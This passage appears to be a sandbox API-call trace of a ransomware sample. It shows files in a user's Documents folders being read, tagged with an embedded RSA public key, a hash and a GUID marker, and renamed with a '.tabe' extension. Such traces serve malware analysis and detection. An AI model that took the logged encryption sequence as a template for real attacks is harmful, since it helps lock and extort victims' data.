| out: StringUuid=0x3dcfa40) returned 0x0 [0127.365] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.366] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.366] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16656, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.366] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.366] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.366] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.366] CloseHandle (hObject=0x618) returned 1 [0127.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\MlN0GfBziFy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\mln0gfbzify.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\MlN0GfBziFy.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\mln0gfbzify.pdf.tabe")) returned 1 [0127.369] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35dbe290, ftCreationTime.dwHighDateTime=0x1d5ded9, ftLastAccessTime.dwLowDateTime=0x3232a040, ftLastAccessTime.dwHighDateTime=0x1d5e756, ftLastWriteTime.dwLowDateTime=0x3232a040, ftLastWriteTime.dwHighDateTime=0x1d5e756, nFileSizeHigh=0x0, nFileSizeLow=0x13cba, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="oMN_.docx", cAlternateFileName="OMN_~1.DOC")) returned 1 [0127.369] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\oMN_.docx") returned=".docx" [0127.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\oMN_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\omn_.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.369] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=81082) returned 1 [0127.369] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.370] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.370] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.371] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13cba, lpOverlapped=0x0) returned 1 [0127.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.372] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.372] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.373] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.373] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.373] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.373] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.373] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.373] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.373] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.373] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.373] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.374] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.374] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13cba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.374] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.374] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.374] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.374] CloseHandle (hObject=0x618) returned 1 [0127.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\oMN_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\omn_.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\oMN_.docx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\omn_.docx.tabe")) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x837e1fc0, ftCreationTime.dwHighDateTime=0x1d5e089, ftLastAccessTime.dwLowDateTime=0xc35a9a60, ftLastAccessTime.dwHighDateTime=0x1d5d99f, ftLastWriteTime.dwLowDateTime=0xc35a9a60, ftLastWriteTime.dwHighDateTime=0x1d5d99f, nFileSizeHigh=0x0, nFileSizeLow=0x145d2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qY52Cc8NNJApER7t.odt", cAlternateFileName="QY52CC~1.ODT")) returned 1 [0127.377] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\qY52Cc8NNJApER7t.odt") returned=".odt" [0127.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\qY52Cc8NNJApER7t.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\qy52cc8nnjaper7t.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.377] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=83410) returned 1 [0127.377] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.378] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x145ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.378] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.380] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x145d2, lpOverlapped=0x0) returned 1 [0127.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.381] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.381] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.382] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.382] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.382] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.382] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.382] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.382] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.382] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.382] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.382] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.382] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.383] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x145d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.383] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.383] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.383] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.383] CloseHandle (hObject=0x618) returned 1 [0127.384] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\qY52Cc8NNJApER7t.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\qy52cc8nnjaper7t.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\qY52Cc8NNJApER7t.odt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\qy52cc8nnjaper7t.odt.tabe")) returned 1 [0127.385] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38bf970, ftCreationTime.dwHighDateTime=0x1d5da5c, ftLastAccessTime.dwLowDateTime=0xc74b1b30, ftLastAccessTime.dwHighDateTime=0x1d5e102, ftLastWriteTime.dwLowDateTime=0xc74b1b30, ftLastWriteTime.dwHighDateTime=0x1d5e102, nFileSizeHigh=0x0, nFileSizeLow=0x14f11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YZK7ZEw7qwdDlFFhS.xlsx", cAlternateFileName="YZK7ZE~1.XLS")) returned 1 [0127.385] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\YZK7ZEw7qwdDlFFhS.xlsx") returned=".xlsx" [0127.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\YZK7ZEw7qwdDlFFhS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\yzk7zew7qwddlffhs.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.386] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=85777) returned 1 [0127.386] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.387] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14eeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.387] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.388] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x14f11, lpOverlapped=0x0) returned 1 [0127.389] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.389] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.389] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.389] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.390] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.390] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.390] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.390] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.390] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.390] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.390] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.390] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.390] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.390] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.391] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14f11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.391] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.391] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.391] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.391] CloseHandle (hObject=0x618) returned 1 [0127.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\YZK7ZEw7qwdDlFFhS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\yzk7zew7qwddlffhs.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\YZK7ZEw7qwdDlFFhS.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\yzk7zew7qwddlffhs.xlsx.tabe")) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38bf970, ftCreationTime.dwHighDateTime=0x1d5da5c, ftLastAccessTime.dwLowDateTime=0xc74b1b30, ftLastAccessTime.dwHighDateTime=0x1d5e102, ftLastWriteTime.dwLowDateTime=0xc74b1b30, ftLastWriteTime.dwHighDateTime=0x1d5e102, nFileSizeHigh=0x0, nFileSizeLow=0x14f11, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YZK7ZEw7qwdDlFFhS.xlsx", cAlternateFileName="YZK7ZE~1.XLS")) returned 0 [0127.394] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.394] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.394] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\") returned="68HVN\\" [0127.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0127.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.394] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.394] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.394] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.394] PathFindFileNameW (pszPath="") returned="" [0127.394] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\68HVN\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b06220, 